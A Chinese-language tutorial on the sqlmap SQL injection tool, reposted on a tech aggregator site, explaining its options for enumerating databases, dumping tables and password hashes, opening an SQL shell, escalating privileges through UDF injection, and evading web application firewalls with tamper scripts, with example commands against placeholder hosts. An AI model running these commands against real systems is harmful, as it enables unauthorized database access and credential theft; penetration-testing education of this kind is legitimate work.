IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqlmap(超超超详细使用教程)——实例说明最后介绍提权和绕过waf狗的脚本 -> 正文阅读

[大数据]sqlmap(超超超详细使用教程)——实例说明最后介绍提权和绕过waf狗的脚本

一、明确使用sqlmap进行sql注入操作流程:

(1)判断可注入的参数
(2)判断可以用那种SQL注入技术来注入
(3)识别出哪种数据库
(4)根据用户选择,读取哪些数据

二、目标后所接的参数说明

-u +URL?
-d #直连数据库,"mysql://root:root@192.168.1.1:3306/mysql"
-l #从Burp代理日志文件中解析目标地址
-m #从文本文件中批量获取目标
-r #从文件中读取 HTTP 请求
--purge #清除历史缓存
--flush-session #清除上次扫描的缓存?

三、目标后枚举所接的参数说明

以下选项用于获取数据库的信息,结构和数据表中的数据。
-a, --all #获取所有信息、数据
-b, --banner #获取 DBMS banner,返回数据库的版本号
--current-user #获取 DBMS 当前用户
--current-db #获取 DBMS 当前数据库

--hostname #获取 DBMS 服务器的主机名
--is-dba #探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users #枚举出 DBMS 所有用户
--passwords #枚举出 DBMS 所有用户的密码哈希
--privileges #枚举出 DBMS 所有用户特权级
--roles #枚举出 DBMS 所有用户角色
--dbs #枚举出 DBMS 所有数据库
--tables #枚举出 DBMS 数据库中的所有表
--columns #枚举出 DBMS 表中的所有列

--schema #枚举出 DBMS 所有模式
--count #获取数据表数目
--dump #导出 DBMS 数据库表项
--stop 10 #只取前10行数据
-D DB #指定要枚举的 DBMS 数据库
-T TBL #指定要枚举的 DBMS 数据表
-C COL #指定要枚举的 DBMS 数据列

--sql-query=QUERY #指定要执行的 SQL 语句
--sql-shell #调出交互式 SQL shell

四、目标输出信息的详细程度参数说明

共7个级别(0~6),默认为1,可以用 -vv 代替 -v 2,推荐使用这种方法,具体介绍如下:
? 0:只输出 Python 出错回溯信息,错误和关键信息

? 1:增加输出普通信息和警告信息
? 2:增加输出调试信息
? 3:增加输出已注入的 payloads
? 4:增加输出 HTTP 请求
? 5:增加输出 HTTP 响应头
? 6:增加输出 HTTP 响应内容

五、检测目标等级参数说明

level有5级,越高检测越全,默认为 1
--level 1 检测Get和Post
--level 2 检测HTTP Cookie

--level 3 检测User-Agent和Referer
--level 4 检测
--level 5 检测 HOST 头
risk有3级,级别越高风险越大,默认为1
--risk 2 会在默认的检测上添加大量时间型盲注语句测试
--risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库

六、调整特定的sql注入技术参数说明

以下选项用于调整特定 SQL 注入技术的测试方法
--technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆查询注入)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注入)
--time-sec=TIMESEC #设置延时注入的时间(默认为 5)
--second-order=S.. #设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)

七、举例说明各种sql注入参数

从文件读取HTTP请求,GET和POST都可以:
sqlmap -r "burp.txt" -p "username" #-p 指定存在注入的参数
Cookie注入:
sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2
当防火墙,对请求速度做了限制:
sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10
#在每个HTTP请求之间的延迟10秒:
伪静态注入:
sqpmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*'

八、UDF提权

使用选项 --udf-inject 并按照说明进行操作即可;
如果需要,也可以使用 --shared-lib 选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。此功能仅对 MySQL 或 PostgreSQL 有用。

九、Tamper脚本——绕过IDS/WAF的检测

使用说明:sqlmap.py --tamper="模块名.py"
apostrophemask #将单引号 url 编码
apostrophenullencode #将单引号替换为宽字节 unicode 字符
base64encode #base64 编码
between #将大于符号和等号用 between 语句替换,用于过滤了大于符
号和等号的情况
bluecoat #用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空
格和等号的情况
charencode #用 url 编码一次你的 payload
charunicodeencode #用 unicode 编码 payload ,只编码非编码字符

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-01 13:58:47  更:2022-01-01 14:00:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 13:27:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码